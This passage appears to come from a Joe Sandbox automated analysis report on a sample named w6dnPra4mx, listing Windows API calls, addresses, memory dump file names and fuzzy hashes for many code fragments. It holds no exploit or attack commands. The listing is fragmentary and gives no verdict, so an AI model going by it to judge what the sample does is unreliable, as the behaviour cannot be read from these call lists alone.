                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: Window$Long$AttributesLayered
                              • String ID:
                              • API String ID: 2169480361-0
                              • Opcode ID: cf64f2ba38e7b8586118add57273b6dbf74680437e58013ae8f64db123384f26
                              • Instruction ID: faea1ea985e506ac999786301d765d91882fdca708237d94abe4bce3661c65f1
                              • Opcode Fuzzy Hash: cf64f2ba38e7b8586118add57273b6dbf74680437e58013ae8f64db123384f26
                              • Instruction Fuzzy Hash: 5F11B431205510ABD310FB29DD45F9BB798FF91720F10862EF455E72E2C7A8AC45C7A8
                              APIs
                              • SendMessageW.USER32 ref: 00448CB8
                              • GetWindowLongW.USER32(?,000000EC), ref: 00448CE0
                              • SendMessageW.USER32(?,0000104C,00000000,?), ref: 00448D19
                              • SendMessageW.USER32(?,0000102B,00000000,?), ref: 00448D62
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: MessageSend$LongWindow
                              • String ID:
                              • API String ID: 312131281-0
                              • Opcode ID: 75ae646de43e531ea10203f5aba75cb55710deee3f48b72b110124c921b55059
                              • Instruction ID: 9d6bf2a2f0cb0d5184a29e15ea511504db1ac53b4253ca88fa0f688086887250
                              • Opcode Fuzzy Hash: 75ae646de43e531ea10203f5aba75cb55710deee3f48b72b110124c921b55059
                              • Instruction Fuzzy Hash: B12174715053019BF3208F18D98879FB7E4FBD5325F140B2EF594962D0DBB58449C796
                              APIs
                              • select.WSOCK32 ref: 0045890A
                              • __WSAFDIsSet.WSOCK32(00000000,00000000), ref: 00458919
                              • accept.WSOCK32(00000000,00000000,00000000,00000000,00000000), ref: 00458927
                              • WSAGetLastError.WSOCK32(00000000), ref: 00458952
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: ErrorLastacceptselect
                              • String ID:
                              • API String ID: 385091864-0
                              • Opcode ID: abc1db9f2e63247cad6e2e0496bedee0f0acb9a353b4738024f17ecaf3b799d2
                              • Instruction ID: 93f38c3b8a65fd8a68e5265ae944391143789c71a4918893f245a539b4228a7d
                              • Opcode Fuzzy Hash: abc1db9f2e63247cad6e2e0496bedee0f0acb9a353b4738024f17ecaf3b799d2
                              • Instruction Fuzzy Hash: 1F2166712043019BD314EF29C842BABB7E5AFC4714F144A2EF994DB2C1DBB4A985CB99
                              APIs
                              • SendMessageW.USER32(?,000000B0,?,?), ref: 00438D6F
                              • SendMessageW.USER32(?,000000C9,?,00000000), ref: 00438D82
                              • SendMessageW.USER32(?,000000C9,?,00000000), ref: 00438D9A
                              • SendMessageW.USER32(?,000000C9,?,00000000), ref: 00438DB4
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: MessageSend
                              • String ID:
                              • API String ID: 3850602802-0
                              • Opcode ID: 265964968b448329a9940c71d90cafee1d95b27ec759889be900fe0a368f8aeb
                              • Instruction ID: 707762f1bc06eebb59e9357f9c77b20c0e090dcf7cedc03b298b4f863176c0ea
                              • Opcode Fuzzy Hash: 265964968b448329a9940c71d90cafee1d95b27ec759889be900fe0a368f8aeb
                              • Instruction Fuzzy Hash: 77113AB6204305AFD210EF58DC84F6BF7E8EBE8750F20491EF580D7290D6B1A8468BA1
                              APIs
                              • CreateWindowExW.USER32(?,?,?,FFFFFFFF,?,?,?,?,?,?,00400000,00000000), ref: 0043367E
                              • GetStockObject.GDI32(00000011), ref: 00433695
                              • SendMessageW.USER32(00000000,00000030,00000000), ref: 0043369F
                              • ShowWindow.USER32(00000000,00000000), ref: 004336BA
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: Window$CreateMessageObjectSendShowStock
                              • String ID:
                              • API String ID: 1358664141-0
                              • Opcode ID: a78582cd8c915fd270119012ff4eddf0033f410814d91724adacf9cac7d73a6b
                              • Instruction ID: 5bb77caae3378c1c36de35f78993aeb7f53e4fc0e9047450929301c31466c70f
                              • Opcode Fuzzy Hash: a78582cd8c915fd270119012ff4eddf0033f410814d91724adacf9cac7d73a6b
                              • Instruction Fuzzy Hash: 60114F72204A00BFD254DF55CC49F5BB3F9AFCCB01F20950DB254922A0D7B4E9418BA9
                              APIs
                              • GetCurrentThreadId.KERNEL32 ref: 004441B8
                              • MessageBoxW.USER32(?,?,?,?), ref: 004441F6
                              • WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 0044420C
                              • CloseHandle.KERNEL32(00000000), ref: 00444213
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: CloseCurrentHandleMessageObjectSingleThreadWait
                              • String ID:
                              • API String ID: 2880819207-0
                              • Opcode ID: 146d2f4ba151d14deb3aa3acfdd6de045567f86e28c98b22242e1e1489ea4094
                              • Instruction ID: a177bb78e812b0c83f085b16f259857c8a511f23e32e5024349264f8b0df3d09
                              • Opcode Fuzzy Hash: 146d2f4ba151d14deb3aa3acfdd6de045567f86e28c98b22242e1e1489ea4094
                              • Instruction Fuzzy Hash: C401E5364183105BD300DB28ED08A9BBBD8BFD9721F18067EF89893351E6B48948C7B6
                              APIs
                              • GetWindowRect.USER32(?,?), ref: 00434037
                              • ScreenToClient.USER32(?,?), ref: 0043405B
                              • ScreenToClient.USER32(?,?), ref: 00434085
                              • InvalidateRect.USER32(?,?,?), ref: 004340A4
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: ClientRectScreen$InvalidateWindow
                              • String ID:
                              • API String ID: 357397906-0
                              • Opcode ID: 751e48bbdad3fa965b56aea51b9fa4e55de6b4169d4940aca7a3583b508516de
                              • Instruction ID: 02545dd0d615a745195cb6f618e51c1f9c2552a202a2369b8695847d2ce6fb2f
                              • Opcode Fuzzy Hash: 751e48bbdad3fa965b56aea51b9fa4e55de6b4169d4940aca7a3583b508516de
                              • Instruction Fuzzy Hash: 24117EB9608302AFC304DF18D98095BBBE9FFD8650F10891EF88993350D770E9498BA2
                              APIs
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: __cftoe_l__cftof_l__cftog_l__fltout2
                              • String ID:
                              • API String ID: 3016257755-0
                              • Opcode ID: bfaf9c04f800815b6471d517da42daec28121d5ec88fca071302ba537a085f53
                              • Instruction ID: 11ead64bc5c18606fe5fffcedc2bbdf89ccfa4faa7bd693ca83be0ddd2add3a5
                              • Opcode Fuzzy Hash: bfaf9c04f800815b6471d517da42daec28121d5ec88fca071302ba537a085f53
                              • Instruction Fuzzy Hash: AA11A272500059BBCF225E85EC018EE3F66FB88354B898416FE2858131C73AC9B1AB85
                              APIs
                              • __wsplitpath.LIBCMT ref: 00436A45
                                • Part of subcall function 00413DB0: __wsplitpath_helper.LIBCMT ref: 00413DF2
                              • __wsplitpath.LIBCMT ref: 00436A6C
                              • __wcsicoll.LIBCMT ref: 00436A93
                              • __wcsicoll.LIBCMT ref: 00436AB0
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: __wcsicoll__wsplitpath$__wsplitpath_helper
                              • String ID:
                              • API String ID: 1187119602-0
                              • Opcode ID: 5b78189461bd351535feab14c2aa3b28919a840a222a6c91b90152b853837e7b
                              • Instruction ID: cc447ddabc085245cf6c6bda96777749177fc915bba42f20b5b260b799017f3a
                              • Opcode Fuzzy Hash: 5b78189461bd351535feab14c2aa3b28919a840a222a6c91b90152b853837e7b
                              • Instruction Fuzzy Hash: 690165B64043416BD724EB50D881EEBB3ED7BD8304F04C91EB5C982041FB38D24C87A6
                              APIs
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: _wcslen$_malloc_wcscat_wcscpy
                              • String ID:
                              • API String ID: 1597257046-0
                              • Opcode ID: 6b0dcf7875e5cc8b2f124becf3425b1e3567ced601fe1f13ac9ef2b9b8e14b5c
                              • Instruction ID: 9df5ee2dcc5f1a759a9cde70f7b42babd8a8bdcc369222b22224423102f690bd
                              • Opcode Fuzzy Hash: 6b0dcf7875e5cc8b2f124becf3425b1e3567ced601fe1f13ac9ef2b9b8e14b5c
                              • Instruction Fuzzy Hash: BFF06D32200200AFC314EB66C885E6BB3EAEBC5324F04852EF556C7791DB39F841C764
                              APIs
                              • DeleteObject.GDI32(?), ref: 0045564E
                              • DeleteObject.GDI32(?), ref: 0045565C
                              • DestroyIcon.USER32(?,?,?,?,?), ref: 0045566A
                              • DestroyWindow.USER32(?,?,?,?,?), ref: 00455678
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: DeleteDestroyObject$IconWindow
                              • String ID:
                              • API String ID: 3349847261-0
                              • Opcode ID: 3ca9d014447a04aedc0dfd8276f5a6e9fbff97cfd7386ed498fa31ba53dce0fe
                              • Instruction ID: 3a9029eb8e47786e7dec82746d504bb216afab776d143f23dce7b1a7602128e4
                              • Opcode Fuzzy Hash: 3ca9d014447a04aedc0dfd8276f5a6e9fbff97cfd7386ed498fa31ba53dce0fe
                              • Instruction Fuzzy Hash: 06F03C702006419BDB20AF65DDD8A2B77ACEF45322740456AFD04D7242DB28DC498B7D
                              APIs
                              • EnterCriticalSection.KERNEL32(?), ref: 0044B60B
                              • InterlockedExchange.KERNEL32(?,?), ref: 0044B619
                              • LeaveCriticalSection.KERNEL32(?), ref: 0044B630
                              • LeaveCriticalSection.KERNEL32(?), ref: 0044B641
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: CriticalSection$Leave$EnterExchangeInterlocked
                              • String ID:
                              • API String ID: 2223660684-0
                              • Opcode ID: ff66e887f7cbb15f4500d5b6eb7e85b0bae77af45fe5867796c74117f3ed7197
                              • Instruction ID: 8f2921e390180aa9c6083979f061463a0462abb68b72a76a452ff5fd2bc04521
                              • Opcode Fuzzy Hash: ff66e887f7cbb15f4500d5b6eb7e85b0bae77af45fe5867796c74117f3ed7197
                              • Instruction Fuzzy Hash: 35F08C362422019F82249B59EA488DBB3FDEBE97213009C2FE142C32108BB5F806CB75
                              APIs
                                • Part of subcall function 0044710F: DeleteObject.GDI32(00000000), ref: 00447151
                                • Part of subcall function 0044710F: ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,00000000,?,?,?), ref: 00447195
                                • Part of subcall function 0044710F: SelectObject.GDI32(?,00000000), ref: 004471A2
                                • Part of subcall function 0044710F: BeginPath.GDI32(?), ref: 004471B7
                                • Part of subcall function 0044710F: SelectObject.GDI32(?,00000000), ref: 004471DC
                              • MoveToEx.GDI32(?,?,00000000,00000000), ref: 0044728F
                              • LineTo.GDI32(?,00000000,00000002), ref: 004472A0
                              • EndPath.GDI32(?), ref: 004472B0
                              • StrokePath.GDI32(?), ref: 004472BE
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: ObjectPath$Select$BeginCreateDeleteLineMoveStroke
                              • String ID:
                              • API String ID: 2783949968-0
                              • Opcode ID: 09270453bc364e96d12f6c3f9be453f1264e71f62e0889bc66601f12e66ee767
                              • Instruction ID: 15f667079dd022c0076d5117e5ffb33549464faf874781034dcdd6a9c0a79bb3
                              • Opcode Fuzzy Hash: 09270453bc364e96d12f6c3f9be453f1264e71f62e0889bc66601f12e66ee767
                              • Instruction Fuzzy Hash: 46F09030109361BFE211DB10DC0AF9F3B98AB46310F10490CF641622D2C7B46845C7BA
                              APIs
                              • __getptd.LIBCMT ref: 00417D1A
                                • Part of subcall function 00416C72: __getptd_noexit.LIBCMT ref: 00416C75
                                • Part of subcall function 00416C72: __amsg_exit.LIBCMT ref: 00416C82
                              • __getptd.LIBCMT ref: 00417D31
                              • __amsg_exit.LIBCMT ref: 00417D3F
                              • __lock.LIBCMT ref: 00417D4F
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: __amsg_exit__getptd$__getptd_noexit__lock
                              • String ID:
                              • API String ID: 3521780317-0
                              • Opcode ID: 6e88b35b2b81098ca19d257f076875e832caf49443e3c23eeee739354b537ff9
                              • Instruction ID: 784cd6646040312d8c3929352b57c791f513dbd9ce30c249d09a92555f0e5bc7
                              • Opcode Fuzzy Hash: 6e88b35b2b81098ca19d257f076875e832caf49443e3c23eeee739354b537ff9
                              • Instruction Fuzzy Hash: D4F06D319447089AD720FB66E4067EA32B0AF01728F11856FA4415B7D2DB3C99C08B9E
                              APIs
                              • GetDesktopWindow.USER32 ref: 00471144
                              • GetDC.USER32(00000000), ref: 0047114D
                              • GetDeviceCaps.GDI32(00000000,00000074), ref: 0047115A
                              • ReleaseDC.USER32(00000000,?), ref: 0047117B
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: CapsDesktopDeviceReleaseWindow
                              • String ID:
                              • API String ID: 2889604237-0
                              • Opcode ID: 949280357db84fa49407f8095e759b2e277f1c53a9819964645a6bf04a6d26c7
                              • Instruction ID: a1da8b046b56c0024f4e51319ca7c868ce9b42ab557c4db2e47d6af70bf9fcef
                              • Opcode Fuzzy Hash: 949280357db84fa49407f8095e759b2e277f1c53a9819964645a6bf04a6d26c7
                              • Instruction Fuzzy Hash: 75F05E759042009FC310DF65DC4856EBBA4FB94351F108C3EFD05D2251DB7889059B99
                              APIs
                              • GetDesktopWindow.USER32 ref: 00471102
                              • GetDC.USER32(00000000), ref: 0047110B
                              • GetDeviceCaps.GDI32(00000000,0000000C), ref: 00471118
                              • ReleaseDC.USER32(00000000,?), ref: 00471139
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: CapsDesktopDeviceReleaseWindow
                              • String ID:
                              • API String ID: 2889604237-0
                              • Opcode ID: 179ddf2500a9669b2282ba4880ad99879b6dd87bde84ab61e923a9eee80713d7
                              • Instruction ID: 5204c471e266b2ed5cdb435334cd6f206910ee07043e0bb223494c3f632f6575
                              • Opcode Fuzzy Hash: 179ddf2500a9669b2282ba4880ad99879b6dd87bde84ab61e923a9eee80713d7
                              • Instruction Fuzzy Hash: 78F05E759042009FD310EF65DC5896EBBA4FB94351F104C3EFC05D2251DB7489059B99
                              APIs
                              • SendMessageTimeoutW.USER32(00000001,00000000,00000000,00000000,00000002,00001388,004848E8), ref: 004389C0
                              • GetWindowThreadProcessId.USER32(00000001,00000000), ref: 004389D3
                              • GetCurrentThreadId.KERNEL32 ref: 004389DA
                              • AttachThreadInput.USER32(00000000), ref: 004389E1
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: Thread$AttachCurrentInputMessageProcessSendTimeoutWindow
                              • String ID:
                              • API String ID: 2710830443-0
                              • Opcode ID: fc668e8f88677791c9032932ff1b39d21009c78d2dca35edbf1b20bb29ea35ff
                              • Instruction ID: 438da6915ae72ab6a15f098678a9856147cbf2dc0a85cf0a700465948addd5b0
                              • Opcode Fuzzy Hash: fc668e8f88677791c9032932ff1b39d21009c78d2dca35edbf1b20bb29ea35ff
                              • Instruction Fuzzy Hash: 14E012712853107BE72157509D0EFAF7B98AF18B11F14481EB241B50D0DAF8A941876E
                              APIs
                              • WaitForSingleObject.KERNEL32(?,000000FF), ref: 004390CD
                              • UnloadUserProfile.USERENV(?,?,?,000000FF), ref: 004390DB
                              • CloseHandle.KERNEL32(?,?,000000FF), ref: 004390EB
                              • CloseHandle.KERNEL32(?,?,000000FF), ref: 004390F0
                                • Part of subcall function 00438FB6: GetProcessHeap.KERNEL32(00000000,?,00439504,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00438FC1
                                • Part of subcall function 00438FB6: HeapFree.KERNEL32(00000000,?,?,?,?,?,?,?,?,?), ref: 00438FC8
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: CloseHandleHeap$FreeObjectProcessProfileSingleUnloadUserWait
                              • String ID:
                              • API String ID: 146765662-0
                              • Opcode ID: 7cdfdd2e005e28f5438e9d3b399fcd684928161159dd652c77b09849c549b5d2
                              • Instruction ID: e19b07cb6d87eea3d85dfea562759309df1919ba68b29a0146d7a5ec0ea3c710
                              • Opcode Fuzzy Hash: 7cdfdd2e005e28f5438e9d3b399fcd684928161159dd652c77b09849c549b5d2
                              • Instruction Fuzzy Hash: 5DE0C976504311ABC620EB65DC48C4BB7E9EF883303114E1DF89693260CA74E881CB65
                              APIs
                              • __IsNonwritableInCurrentImage.LIBCMT ref: 00414070
                                • Part of subcall function 00418540: __FindPESection.LIBCMT ref: 0041859B
                              • __getptd_noexit.LIBCMT ref: 00414080
                              • __freeptd.LIBCMT ref: 0041408A
                              • ExitThread.KERNEL32 ref: 00414093
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
